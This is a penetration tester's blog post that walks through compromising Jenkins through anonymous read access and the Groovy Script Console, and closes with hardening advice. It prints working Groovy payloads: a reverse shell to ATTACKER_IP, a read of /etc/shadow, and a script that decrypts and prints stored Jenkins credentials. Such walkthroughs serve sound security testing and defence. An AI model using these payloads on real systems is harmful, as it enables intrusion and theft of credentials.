Valtik Studios
Back to blog
JenkinscriticalUpdated 2026-04-17orig. 2026-01-2616 min

Jenkins: From Anonymous Read to Full RCE

Jenkins with anonymous read enabled exposes Groovy Script Console for authenticated remote code execution. Compromise one CI/CD server and you own every credential, every pipeline, every repo, every production deployment. A supply-chain attack and penetration testing walkthrough.

Phillip (Tre) Bucchi headshot
Phillip (Tre) Bucchi·Founder, Valtik Studios. Penetration Tester

Founder of Valtik Studios. Penetration tester. Based in Connecticut, serving US mid-market.

Jenkins is how I popped a production environment last month

Real engagement, sanitized. Client web app passed our surface testing. Auth looked good. Logging was decent. Then I found their Jenkins on ci.example.com with anonymous read enabled. Inside: a dozen deploy pipelines with hardcoded kubectl configs. Same credentials worked against their production cluster.

This is the Jenkins attack pattern that shows up on engagements with a CI/CD footprint. Not a novel vulnerability. The documented default. "Allow anonymous read access" is enabled during most Jenkins installation paths. The intent is to let unauthenticated users see build statuses. The reality is that it hands an attacker the first link in a chain that ends with root on the build server.

On a default Jenkins instance, an unauthenticated user can browse to / and see every job, every build. And every pipeline defined on the server. Job configurations often contain hardcoded credentials, internal hostnames, deployment targets, and infrastructure details. This isn't a bug. It's the documented default behavior.

The Script Console: Groovy on the server

Jenkins includes a built-in Groovy script console at /script. If the authorization model allows access (and on many misconfigured instances it does), this endpoint executes arbitrary Groovy code on the Jenkins controller with the same permissions as the Jenkins process. On Linux, Jenkins typically runs as its own user, but on many installations it runs as root.

A simple proof of concept:

def cmd = "id".execute()
println cmd.text

If you see uid=0(root), you own the box. If you see a Jenkins service account, you still have access to every secret stored in Jenkins and every server it deploys to.

More useful payloads for a pentest:

// Reverse shell
def cmd = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read /etc/shadow
def shadow = new File("/etc/shadow").text
println shadow

// List all credentials
import com.cloudbees.plugins.credentials.*
def creds = CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardCredentials.class,
  Jenkins.instance, null, null
)
creds.each { println it.id + ": " + it.description }

Pipeline replay reveals source code

Jenkins Pipeline jobs have a "Replay" feature at /job/{name}/{build}/replay. This shows the full Groovy pipeline source code, including Jenkinsfiles pulled from private Git repositories. On instances with anonymous read access, anyone can view replayed pipeline definitions.

These Jenkinsfiles frequently contain:

  • SSH keys embedded as inline strings
  • AWS access keys passed as environment variables
  • Database connection strings for production systems
  • Deployment scripts showing the full infrastructure topology

Credential dumping via /credentials/

Jenkins stores credentials (SSH keys, API tokens, usernames and passwords, secret files) in an encrypted format on disk. The encryption key is stored in secrets/master.key and secrets/hudson.util.Secret. With script console access, decrypting every stored credential is trivial:

import hudson.util.Secret
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*

Def creds = CredentialsProvider.lookupCredentials(
  com.cloudbees.plugins.credentials.common.StandardCredentials.class,
  Jenkins.instance, null, null
)

Creds.each {
  if (it instanceof UsernamePasswordCredentialsImpl) {
    println "USER: " + it.username + " PASS: " + it.password.plainText
  }
}

On a typical enterprise Jenkins server, this yields 20 to 50 credential pairs including Git repository tokens, cloud provider keys, container registry passwords, and SSH private keys for production servers.

The full chain

The complete attack chain from zero access to full infrastructure compromise:

  1. Discover Jenkins on port 8080 during network scanning. The HTTP response header X-Jenkins confirms the target.
  2. Browse anonymously to enumerate all jobs, build history, and pipeline configurations.
  3. Access /script to confirm Groovy console availability. Run println(Jenkins.instance.pluginManager.plugins) to enumerate installed plugins and identify additional attack surface.
  4. Dump all credentials using the Groovy script above. Export SSH keys and API tokens.
  5. Enumerate build agents via Jenkins.instance.computers.each { println it.name + " " + it.hostName }. These are additional servers you can now access.
  6. Pivot to production using the harvested SSH keys and deployment credentials. Jenkins build agents often have network access to production environments that aren't reachable from the general corporate network.

Why this keeps happening

Jenkins is self-hosted, often by development teams than security teams. It gets installed, configured enough to run builds, and then forgotten. The admin who set it up three years ago has moved to another team. Nobody reviews the authorization settings. The instance accumulates credentials as developers add deployment pipelines.

Shodan shows over 86,000 Jenkins instances exposed to the internet as of early 2026. Many of them still allow anonymous read access.

Defense

  • Disable anonymous access immediately: Manage Jenkins > Security > Authorization > select "Logged-in users can do anything" at minimum
  • Restrict /script access to administrators only using matrix-based security
  • Audit stored credentials quarterly and rotate any that have been in Jenkins for more than 90 days
  • Never expose Jenkins to the internet without a VPN or zero-trust proxy in front of it
  • Enable the audit trail plugin to log who accesses what and when
  • Use the Credentials Binding plugin instead of hardcoding secrets in Jenkinsfiles
jenkinscicdsupply chainrcepenetration testingvulnerability assessmentapplication securityresearch

Want us to check your Jenkins setup?

Our scanner detects this exact misconfiguration. plus dozens more across 38 platforms. Free website check available, no commitment required.

Get new research in your inbox
No spam. No newsletter filler. Only new posts as they publish.